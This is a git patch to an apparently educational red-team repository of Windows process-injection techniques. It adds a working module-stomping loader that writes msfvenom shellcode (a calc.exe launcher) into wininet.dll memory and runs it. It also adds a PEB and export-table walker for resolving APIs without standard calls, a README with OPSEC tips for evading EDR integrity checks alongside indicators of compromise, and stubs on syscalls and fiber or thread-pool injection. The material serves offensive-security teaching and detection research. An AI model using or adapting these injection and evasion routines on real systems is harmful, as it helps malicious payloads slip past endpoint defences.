From 486d9bcc89ac7104d26e4bba193b8081a785a21e Mon Sep 17 00:00:00 2001 From: toneillcodes Date: Thu, 22 Jan 2026 08:43:44 -0500 Subject: [PATCH] Adding module stomping. Fixing VirtualAlloc call in example 2, adding stub folders for additional techniques. --- direct-syscalls/README.md | 3 + fiber-injection/README.md | 2 + fundamentals/injection-example-2.cpp | 6 +- fundamentals/injection-example-4.cpp | 38 ++-- header-files/utils.cpp | 78 ++++++++ header-files/utils.h | 14 ++ indirect-syscalls/README.md | 2 + module-stomping/README.md | 40 +++++ module-stomping/local-stomp.cpp | 111 ++++++++++++ thread-pool-injection/README.md | 2 + walking-peb-eat/README.md | 2 + walking-peb-eat/peb-walk.cpp | 260 +++++++++++++++++++++++++++ 12 files changed, 536 insertions(+), 22 deletions(-) create mode 100644 direct-syscalls/README.md create mode 100644 fiber-injection/README.md create mode 100644 header-files/utils.cpp create mode 100644 header-files/utils.h create mode 100644 indirect-syscalls/README.md create mode 100644 module-stomping/README.md create mode 100644 module-stomping/local-stomp.cpp create mode 100644 thread-pool-injection/README.md create mode 100644 walking-peb-eat/README.md create mode 100644 walking-peb-eat/peb-walk.cpp diff --git a/direct-syscalls/README.md b/direct-syscalls/README.md new file mode 100644 index 0000000..e434c5c --- /dev/null +++ b/direct-syscalls/README.md @@ -0,0 +1,3 @@ +# Direct Syscalls +Invoking functions using low-level syscalls instead of APIs. +Relatively easy to spot by reviewing the call stack. \ No newline at end of file diff --git a/fiber-injection/README.md b/fiber-injection/README.md new file mode 100644 index 0000000..52b3259 --- /dev/null +++ b/fiber-injection/README.md @@ -0,0 +1,2 @@ +# Fiber Injection +Injecting a payload in to a Thread Fiber instead of a thread. \ No newline at end of file diff --git a/fundamentals/injection-example-2.cpp b/fundamentals/injection-example-2.cpp index fa6c88e..27fd07b 100644 --- a/fundamentals/injection-example-2.cpp +++ b/fundamentals/injection-example-2.cpp @@ -67,7 +67,7 @@ int main() { // Update the memory protection value from RW to RWX DWORD lpOldProtect = NULL; - BOOL updateMemoryProtection = VirtualProtect(pHandle, bufferAddress, sizeof buf, PAGE_EXECUTE_READWRITE, &lpOldProtect); + BOOL updateMemoryProtection = VirtualProtect(bufferAddress, sizeof buf, PAGE_EXECUTE_READWRITE, &lpOldProtect); if(updateMemoryProtection == false) { printf("[ERROR] Failed to update memory protection (updating from RW to RWX)! Using addresss: 0x%016llx, Error: %lu\n", bufferAddress, GetLastError()); VirtualFree(bufferAddress, 0, MEM_RELEASE); @@ -87,7 +87,7 @@ int main() { WaitForSingleObject(tHandle, INFINITE); // Update the memory protection value from RWX to RW - updateMemoryProtection = VirtualProtect(pHandle, bufferAddress, sizeof buf, PAGE_READWRITE, &lpOldProtect); + updateMemoryProtection = VirtualProtect(bufferAddress, sizeof buf, PAGE_READWRITE, &lpOldProtect); if(updateMemoryProtection == false) { printf("[ERROR] Failed to update memory protection (toggling back to RW)! Using addresss: 0x%016llx, Error: %lu\n", bufferAddress, GetLastError()); VirtualFree(bufferAddress, 0, MEM_RELEASE); @@ -102,4 +102,4 @@ int main() { printf("[*] Process injection complete.\n"); return 0; -} +} \ No newline at end of file diff --git a/fundamentals/injection-example-4.cpp b/fundamentals/injection-example-4.cpp index 9453f41..35738b4 100644 --- a/fundamentals/injection-example-4.cpp +++ b/fundamentals/injection-example-4.cpp @@ -93,10 +93,10 @@ int main() { "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff" "\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00"; - P_VirtualAllocEx myVirtualAllocEx = nullptr; - P_WriteProcessMemory myWriteProcessMemory = nullptr; - P_VirtualProtectEx myVirtualProtectEx = nullptr; - P_CreateRemoteThread myCreateRemoteThread = nullptr; + P_VirtualAllocEx myVirtualAllocEx = nullptr; + P_WriteProcessMemory myWriteProcessMemory = nullptr; + P_VirtualProtectEx myVirtualProtectEx = nullptr; + P_CreateRemoteThread myCreateRemoteThread = nullptr; DWORD pid = 0; const wchar_t* processName = L"notepad.exe"; @@ -123,13 +123,13 @@ int main() { return -1; } - // Use GetProcAddress to get the address of the VirtualAllocEx function - myVirtualAllocEx = (P_VirtualAllocEx)GetProcAddress(hKernel32, "VirtualAllocEx"); - if (myVirtualAllocEx == nullptr) { - printf("[ERROR] Failed to resolve VirtualAllocEx. Error: %u\n", GetLastError()); - FreeLibrary(hKernel32); // Clean up the module handle - return -1; - } + // Use GetProcAddress to get the address of the VirtualAllocEx function + myVirtualAllocEx = (P_VirtualAllocEx)GetProcAddress(hKernel32, "VirtualAllocEx"); + if (myVirtualAllocEx == nullptr) { + printf("[ERROR] Failed to resolve VirtualAllocEx. Error: %u\n", GetLastError()); + FreeLibrary(hKernel32); // Clean up the module handle + return -1; + } // Use GetProcAddress to get the address of the WriteProcessMemory function myWriteProcessMemory = (P_WriteProcessMemory)GetProcAddress(hKernel32, "WriteProcessMemory"); @@ -147,13 +147,13 @@ int main() { return -1; } - // Use GetProcAddress to get the address of the CreateRemoteThread function - myCreateRemoteThread = (P_CreateRemoteThread)GetProcAddress(hKernel32, "CreateRemoteThread"); - if (myCreateRemoteThread == nullptr) { - printf("[ERROR] Failed to resolve CreateRemoteThread. Error: %u\n", GetLastError()); - FreeLibrary(hKernel32); // Clean up the module handle - return -1; - } + // Use GetProcAddress to get the address of the CreateRemoteThread function + myCreateRemoteThread = (P_CreateRemoteThread)GetProcAddress(hKernel32, "CreateRemoteThread"); + if (myCreateRemoteThread == nullptr) { + printf("[ERROR] Failed to resolve CreateRemoteThread. Error: %u\n", GetLastError()); + FreeLibrary(hKernel32); // Clean up the module handle + return -1; + } printf("[*] Successfully opened handle to PID: %u\n", pid); @@ -207,7 +207,7 @@ int main() { CloseHandle(pHandle); CloseHandle(tHandle); VirtualFree(bufferAddress, 0, MEM_RELEASE); - FreeLibrary(hKernel32); // Clean up the module handle + FreeLibrary(hKernel32); // Clean up the module handle printf("[*] Process injection complete.\n"); diff --git a/header-files/utils.cpp b/header-files/utils.cpp new file mode 100644 index 0000000..edf9a15 --- /dev/null +++ b/header-files/utils.cpp @@ -0,0 +1,78 @@ +#include "utils.h" + +// custom string-to-integer conversion function +int my_atoi(const char* s) { + int res = 0; + while (*s >= '0' && *s <= '9') { + res = res * 10 + (*s - '0'); + s++; +} + return res; +} + +// custom string length function +int my_strlen(const char* inputString) { + if (inputString == NULL) return 0; + + int length = 0; + while (inputString[length] != '\0') { + length++; + } + return length; +} + +// custom string length function with for loop optimization +int my_strlen_for(const char* s) { + if (!s) return 0; + + const char* p = s; + for (; *p; p++); // The semicolon at the end is the empty body + + return (int)(p - s); +} + +// custom string comparison function +int my_strcmp(const char* s1, const char* s2) { + while (*s1 && (*s1 == *s2)) { + s1++; + s2++; + } + // Return the difference between the characters + // (unsigned char) cast ensures correct behavior with extended ASCII + return *(unsigned char*)s1 - *(unsigned char*)s2; +} + +int my_stricmp(const char* s1, const char* s2) { + while (*s1) { + char c1 = *s1; + char c2 = *s2; + + // Convert c1 to lowercase if it's uppercase + if (c1 >= 'A' && c1 <= 'Z') c1 += 32; + // Convert c2 to lowercase if it's uppercase + if (c2 >= 'A' && c2 <= 'Z') c2 += 32; + + if (c1 != c2) { + return (unsigned char)c1 - (unsigned char)c2; + } + s1++; + s2++; + } + return (unsigned char)*s1 - (unsigned char)*s2; +} + +int my_wcsicmp(const wchar_t* s1, const wchar_t* s2) { + wchar_t c1, c2; + do { + c1 = *s1++; + c2 = *s2++; + + // Convert both to lowercase for comparison + if (c1 >= L'A' && c1 <= L'Z') c1 += (L'a' - L'A'); + if (c2 >= L'A' && c2 <= L'Z') c2 += (L'a' - L'A'); + + if (c1 == L'\0') return c1 - c2; + } while (c1 == c2); + + return c1 - c2; +} \ No newline at end of file diff --git a/header-files/utils.h b/header-files/utils.h new file mode 100644 index 0000000..1451da6 --- /dev/null +++ b/header-files/utils.h @@ -0,0 +1,14 @@ +#ifndef UTILS_H +#define UTILS_H + +#include // Needed for wchar_t and NULL + +// Function Declarations +int my_atoi(const char* s); +int my_strlen(const char* inputString); +int my_strlen_for(const char* s); +int my_strcmp(const char* s1, const char* s2); +int my_stricmp(const char* s1, const char* s2); +int my_wcsicmp(const wchar_t* s1, const wchar_t* s2); + +#endif \ No newline at end of file diff --git a/indirect-syscalls/README.md b/indirect-syscalls/README.md new file mode 100644 index 0000000..8a6c673 --- /dev/null +++ b/indirect-syscalls/README.md @@ -0,0 +1,2 @@ +# Indirect Syscalls +Invoke functions using a ROP or JOP gadget to obscure the caller. \ No newline at end of file diff --git a/module-stomping/README.md b/module-stomping/README.md new file mode 100644 index 0000000..a78a787 --- /dev/null +++ b/module-stomping/README.md @@ -0,0 +1,40 @@ +# Module Stomping (Module Overwriting) + +## Summary +Module Stomping is a process injection technique where a legitimate, image-backed DLL is loaded into a process, and its memory (typically the `.text` section) is overwritten with a payload. This ensures the payload resides within a memory region associated with a file on disk, rather than "Private" memory. + +| Component | Description | +| :--- | :--- | +| **Technique** | Overwriting legitimate module code with a payload. | +| **Tactical Goal** | **Evade Memory Scanners:** Bypasses detections that flag `RX` memory regions not backed by a file on disk (`MEM_PRIVATE`). | +| **Stealth** | **Moderate.** While it solves the "unbacked memory" problem, it introduces another IoC "Module Mismatch" (the memory content no longer matches the file on disk). | + +## Execution Steps +The `local-stomp.cpp` example follows this execution logic: + +1. **Load Target DLL:** Use `LoadLibraryExA` with the `DONT_RESOLVE_DLL_REFERENCES` flag to map a "sacrificial" DLL into the process without executing its entry point. +2. **Identify Section:** Lazy locate the `.text` section of the loaded module to ensure the payload is placed in an executable region. +3. **Reprotect (Write):** Call `VirtualProtect` to change the memory permissions from Read-Execute (`RX`) to Read-Write (`RW`). +4. **Write Payload:** Use `WriteProcessMemory` or `RtlCopyMemory` to stomp the payload over the legitimate instructions. +5. **Reprotect (Execute):** Revert the memory permissions back to Read-Execute (`RX`). +6. **Execution:** Trigger the shellcode using a thread execution API (e.g., `CreateThread` or `CreateRemoteThread`). + +## OPSEC Considerations + +### 1. Image Divergence +Modern EDRs perform "Module Integrity Checks" by comparing the code in memory against the original file on disk. +* **The Risk:** If `Memory_Hash(DLL) != Disk_Hash(DLL)`, an alert is triggered. +* **Mitigation:** Choose large DLLs and only stomp the specific bytes needed. Consider using "Nops" to mask the payload entry. + +### 2. API Monitoring +The use of `VirtualProtect` on an image-backed region is a high-confidence heuristic for many security products. +* **Red Team Tip:** Instead of `VirtualProtect`, advanced implementations use `NtMapViewOfSection` to map a modified view of the DLL directly into memory, avoiding the "Modify" event entirely. + +### 3. Target Selection +* **Size Matters:** The sacrificial DLL must have a `.text` section larger than your payload. +* **Frequency:** Use common system DLLs that are normally present but rarely undergo deep integrity checks during routine operation. + +## Indicators of Compromise (IoC) +* **Memory/Disk Mismatch:** Significant byte differences between the loaded module and its corresponding `C:\Windows\System32\` file. +* **Suspicious Call Trace:** Thread execution starting from the middle of a DLL's code section rather than a legitimate exported function. +* **API Pattern:** The sequence of `LoadLibrary` -> `VirtualProtect(RW)` -> `VirtualProtect(RX)` is a classic signature of memory manipulation. \ No newline at end of file diff --git a/module-stomping/local-stomp.cpp b/module-stomping/local-stomp.cpp new file mode 100644 index 0000000..4d4a348 --- /dev/null +++ b/module-stomping/local-stomp.cpp @@ -0,0 +1,111 @@ +/* +* Local module stomping: load a sacrificial DLL into the process memory, locate a function to stomp (it'll be within the .text section, this is lazy) +* & inject calc.exe msfvenom shellcode into the target buffer, toggling the memory protection between RW and RWX +* shellcode: msfvenom -p windows/x64/exec CMD=calc.exe -f C EXITFUNC=thread +* compile: cl.exe local-stomp.cpp /W0 /D"UNICODE" /D"_UNICODE" +*/ +#include +#include + +int main() { + unsigned char buf[] = + "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50" + "\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52" + "\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a" + "\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41" + "\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52" + "\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48" + "\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40" + "\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48" + "\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41" + "\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1" + "\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c" + "\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01" + "\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a" + "\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b" + "\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" + "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b" + "\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd" + "\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0" + "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff" + "\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00"; + + // Retrieve the current process ID + DWORD pid = 0; + pid = GetCurrentProcessId(); + if(pid == 0) { + printf("[ERROR] Failed to obtain current process ID!\n"); + return -1; + } + + printf("[*] Running PI with target PID: %u\n", pid); + + // Open a handle to the current process, this must be passed to VirtualAllocEx + HANDLE pHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(pid)); + if(pHandle == NULL) { + printf("Failed to acquire process handle!\n"); + return -1; + } + printf("[*] Successfully opened handle to PID: %u\n", pid); + + // load sacrificial DLL, using wininet because it is fairly large and so it can accomodate different PoC payloads + HMODULE hSacrificialDll = LoadLibraryExA("wininet.dll", NULL, DONT_RESOLVE_DLL_REFERENCES); + if (hSacrificialDll == NULL) { + printf("[ERROR] Failed to obtain DLL handle! Error: %lu\n", GetLastError()); + return -1; + } + printf("[*] Target DDL loaded.\n"); + + LPVOID bufferAddress = (LPVOID)GetProcAddress(hSacrificialDll, "CommitUrlCacheEntryW"); + if (bufferAddress == NULL) { + printf("[ERROR] Failed to locate target function CommitUrlCacheEntryW! Error: %lu\n", pid, GetLastError()); + return -1; + } + printf("[*] Target wininet.dll!CommitUrlCacheEntryW located at: : 0x%016llx\n", bufferAddress); + + // Write the shellcode to the block of memory that we allocated with VirtualAllocEx + BOOL writeShellcode = WriteProcessMemory(pHandle, bufferAddress, buf, sizeof buf, NULL); + if(writeShellcode == false) { + printf("[ERROR] Failed to write shellcode! Using addresss: 0x%016llx, Error: %lu\n", bufferAddress, GetLastError()); + FreeLibrary(hSacrificialDll); + return -1; + } + + // Update the memory protection value to RWX + DWORD lpOldProtect = NULL; + BOOL updateMemoryProtection = VirtualProtect(bufferAddress, sizeof buf, PAGE_EXECUTE_READWRITE, &lpOldProtect); + if(updateMemoryProtection == false) { + printf("[ERROR] Failed to update memory protection (updating from RW to RWX)! Using addresss: 0x%016llx, Error: %lu\n", bufferAddress, GetLastError()); + VirtualFree(bufferAddress, 0, MEM_RELEASE); + return -1; + } + + // Create a new thread using the shellcode buffer address as the starting point + HANDLE tHandle = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)bufferAddress, NULL, 0, NULL); + if (tHandle == NULL) { + printf("[ERROR] Failed to create thread within the process (PID: %u)! Error: %lu\n", pid, GetLastError()); + FreeLibrary(hSacrificialDll); + return -1; + } + + // Wait for the thread to return - not required, but it definitely makes the demonstration much cleaner + printf("[*] Waiting for the thread to return...\n"); + WaitForSingleObject(tHandle, INFINITE); + + // Update the memory protection value from RWX to RW + updateMemoryProtection = VirtualProtect(bufferAddress, sizeof buf, PAGE_READWRITE, &lpOldProtect); + if(updateMemoryProtection == false) { + printf("[ERROR] Failed to update memory protection (toggling back to RW)! Using addresss: 0x%016llx, Error: %lu\n", bufferAddress, GetLastError()); + FreeLibrary(hSacrificialDll); + return -1; + } + + // Clean up open handles and free the shellcode buffer memory + CloseHandle(pHandle); + CloseHandle(tHandle); + FreeLibrary(hSacrificialDll); + + printf("[*] Process injection complete.\n"); + + return 0; +} \ No newline at end of file diff --git a/thread-pool-injection/README.md b/thread-pool-injection/README.md new file mode 100644 index 0000000..0192819 --- /dev/null +++ b/thread-pool-injection/README.md @@ -0,0 +1,2 @@ +# Thread Pool Injection +Leveraging thread pool functionality to invoke payloads while avoiding well-known and highly scrunitinized APIs. \ No newline at end of file diff --git a/walking-peb-eat/README.md b/walking-peb-eat/README.md new file mode 100644 index 0000000..3d739f2 --- /dev/null +++ b/walking-peb-eat/README.md @@ -0,0 +1,2 @@ +# Walking the PEB and EAT +Using custom code to parse through the Process Environment Block and Export Address Table to resolve DLLs and functions while avoiding well-known and highly scrutinized APIs. \ No newline at end of file diff --git a/walking-peb-eat/peb-walk.cpp b/walking-peb-eat/peb-walk.cpp new file mode 100644 index 0000000..5f755ec --- /dev/null +++ b/walking-peb-eat/peb-walk.cpp @@ -0,0 +1,260 @@ +#include +#include +#include +#include // Required for __readgsqword / __readfsdword +#include // for peb data structure https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb + +#include "../header-files/utils.h" + +// Define missing NTSTATUS codes +#ifndef STATUS_SUCCESS +#define STATUS_SUCCESS ((NTSTATUS)0x00000000L) +#endif + +#define MAX_EXPORTED_FUNCS 25 + +#pragma comment(lib, "user32.lib") + +// obtain the local process TEB +void* GetLocalTebAddress(void) { +#ifdef _WIN64 + return (void*)__readgsqword(0x30); +#else + return (void*)__readfsdword(0x18); +#endif +} + +// todo: test and validation for remote PEB +typedef NTSTATUS (NTAPI *pNtQueryInformationProcess)( + HANDLE ProcessHandle, + PROCESSINFOCLASS ProcessInformationClass, + PVOID ProcessInformation, + ULONG ProcessInformationLength, + PULONG ReturnLength +); + +// todo: test and validation for remote PEB +PVOID GetRemotePebAddress(HANDLE hProcess) { + PROCESS_BASIC_INFORMATION pbi; + ULONG returnLength; + + // get the address of NtQueryInformationProcess + // this could be replaced with a manual lookup through the local PEB to avoid GetProcAddress + pNtQueryInformationProcess NtQueryInfo = (pNtQueryInformationProcess)GetProcAddress( + GetModuleHandleA("ntdll.dll"), + "NtQueryInformationProcess" + ); + + // Query the process for the PEB address + NTSTATUS status = NtQueryInfo( + hProcess, + ProcessBasicInformation, // Value 0 + &pbi, + sizeof(pbi), + &returnLength + ); + + if (status == STATUS_SUCCESS) { + return pbi.PebBaseAddress; + } + + return NULL; +} + +// find the address of an exported function within a given module +// obviously depends on a name value being present in the array found at AddressOfNames +PVOID GetProcAddressManualByName(HMODULE hMod, char* targetFunc) { + PBYTE base = (PBYTE)hMod; + + PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)base; + PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(base + dos->e_lfanew); + + IMAGE_DATA_DIRECTORY exportDataDir = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; + if (exportDataDir.VirtualAddress == 0) return NULL; + + PIMAGE_EXPORT_DIRECTORY exports = (PIMAGE_EXPORT_DIRECTORY)(base + exportDataDir.VirtualAddress); + + PDWORD names = (PDWORD)(base + exports->AddressOfNames); + PWORD ordinals = (PWORD)(base + exports->AddressOfNameOrdinals); + PDWORD functions = (PDWORD)(base + exports->AddressOfFunctions); + + // --- Binary Search Logic Start --- + int low = 0; + int high = exports->NumberOfNames - 1; + + while (low <= high) { + int mid = low + (high - low) / 2; + char* currentName = (char*)(base + names[mid]); + + int cmp = my_strcmp(targetFunc, currentName); + + if (cmp == 0) { + // Match found! + WORD ordinalValue = ordinals[mid]; + DWORD funcRVA = functions[ordinalValue]; + + // Forwarder Check + if (funcRVA >= exportDataDir.VirtualAddress && + funcRVA < (exportDataDir.VirtualAddress + exportDataDir.Size)) { + // Add more forwarder logic here + return NULL; + } + + return (PVOID)(base + funcRVA); + } + + if (cmp < 0) { + high = mid - 1; // Target is in the lower half + } + else { + low = mid + 1; // Target is in the upper half + } + } + // --- Binary Search Logic End --- + + return NULL; +} + +// find the address of an exported function within a given module +PVOID GetProcAddressManualByOrdinal(HMODULE hMod, WORD ordinal) { + PBYTE base = (PBYTE)hMod; + + // 1. Navigate to the Export Directory (standard PE parsing) + PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)base; + PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(base + dos->e_lfanew); + PIMAGE_EXPORT_DIRECTORY exports = (PIMAGE_EXPORT_DIRECTORY)(base + + nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); + + // 2. Adjust the ordinal + // Most DLLs start their ordinals at a "Base" (usually 1). + // If the DLL says export #12 and the Base is 1, the actual index is 11. + DWORD functionIndex = ordinal - exports->Base; + + // 3. Bounds check + if (functionIndex >= exports->NumberOfFunctions) return NULL; + + // 4. Get the RVA from the functions array + PDWORD functionsArray = (PDWORD)(base + exports->AddressOfFunctions); + DWORD funcRVA = functionsArray[functionIndex]; + + return (PVOID)(base + funcRVA); +} + +PVOID GetModuleBaseManual(PPEB pebObject, const char* targetModuleName) { + // we want the ldr data + PPEB_LDR_DATA ldr = pebObject->Ldr; + PLIST_ENTRY listHead = &ldr->InMemoryOrderModuleList; + PLIST_ENTRY currentEntry = listHead->Flink; + + // traverse the doubly-linked list, if we ouroboros we're done + while (currentEntry != listHead) { + // InMemoryOrderLinks is the second field in LDR_DATA_TABLE_ENTRY + // use CONTAINING_RECORD to snap back to the start of the structure + LDR_DATA_TABLE_ENTRY* moduleEntry = (LDR_DATA_TABLE_ENTRY*)CONTAINING_RECORD( + currentEntry, + LDR_DATA_TABLE_ENTRY, + InMemoryOrderLinks + ); + + UNICODE_STRING fileName = moduleEntry->FullDllName; + //printf("fileName = %wZ\n", fileName); + PVOID moduleBase = moduleEntry->DllBase; + // get DOS Header + PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)moduleBase; + if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE) { + printf("Invalid DOS Signature\n"); + return NULL; + } + + // get NT Headers using the offset from DOS Header + PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((BYTE*)moduleBase + dosHeader->e_lfanew); + if (ntHeaders->Signature != IMAGE_NT_SIGNATURE) { + printf("Invalid NT Signature\n"); + return NULL; + } + + // Locate the Export Directory in the Data Directory + IMAGE_DATA_DIRECTORY exportDataDir = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; + if (exportDataDir.VirtualAddress == 0) { + // does this case matter? maybe with debug enabled + //printf("No Export Table found for entry %wZ\n", &fileName); + } + else { + PIMAGE_EXPORT_DIRECTORY exportDir = (PIMAGE_EXPORT_DIRECTORY)((BYTE*)moduleBase + exportDataDir.VirtualAddress); + char* moduleName = NULL; + moduleName = (char*)((BYTE*)moduleBase + exportDir->Name); + + if (moduleName != NULL) { + // todo: case insensitive would be better, the names are not consistent + // examples: ntdll.dll, USER32.dll, KERNEL32.DLL + //if (my_strcmp(moduleName, targetModuleName) == 0) { + if (my_stricmp(moduleName, targetModuleName) == 0) { + return moduleBase; + } + } + } + currentEntry = currentEntry->Flink; + } + + return NULL; +} + +// custom type defs for function invocation +typedef int (WINAPI* myMessageBoxA)(HWND hWnd, LPCSTR lptext, LPCSTR lpCaption, UINT uType); + +int main(int argc, char* argv[]) { + // import MessageBoxA for testing without triggering a message to the UI + if (argc > 999) MessageBoxA(NULL, NULL, NULL, 0); + + int debugOutput = 1; + + void* teb = GetLocalTebAddress(); + if (debugOutput) { + printf("Current process TEB address: %p\n", teb); + } + + void* peb = NULL; +#ifdef _WIN64 + // On x64, PEB is at TEB + 0x60 + peb = *(void**)((unsigned char*)teb + 0x60); +#else + // On x86, PEB is at TEB + 0x30 + // not currently used, but good to have around + peb = *(void**)((unsigned char*)teb + 0x30); +#endif + if (debugOutput) { + printf("Current process PEB address (TEB + offset): %p\n", peb); + } + + // https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb#remarks + // Assuming peb_address holds the valid memory location of the PEB + PPEB peb_ptr = (PPEB)peb; + + // Accessing the 'BeingDebugged' flag + if (peb_ptr->BeingDebugged) { + printf("Debugger is attached\n"); + } + else { + printf("No debugger detected\n"); + } + + PVOID dllBase = GetModuleBaseManual(peb_ptr, "USER32.dll"); // or maybe ntdll.dll + if(dllBase) { + printf("DLL found @ %llx\n",dllBase); + PVOID rvaFound = GetProcAddressManualByName((HMODULE) dllBase, "MessageBoxA"); // and then NtAllocateVirtualMemory + if(rvaFound) { + printf("found function within DLL @ %llx\n", rvaFound); + // MessageBoxA example + myMessageBoxA dynamicMsgBox = NULL; + dynamicMsgBox = (myMessageBoxA)rvaFound; + dynamicMsgBox(NULL, "Executed via manual address resolution!", "Success", MB_OK); + } else { + printf("Unable to locate function\n"); + } + } else { + printf("Unable to locate DLL\n"); + } + + printf("Done."); + return 0; +} \ No newline at end of file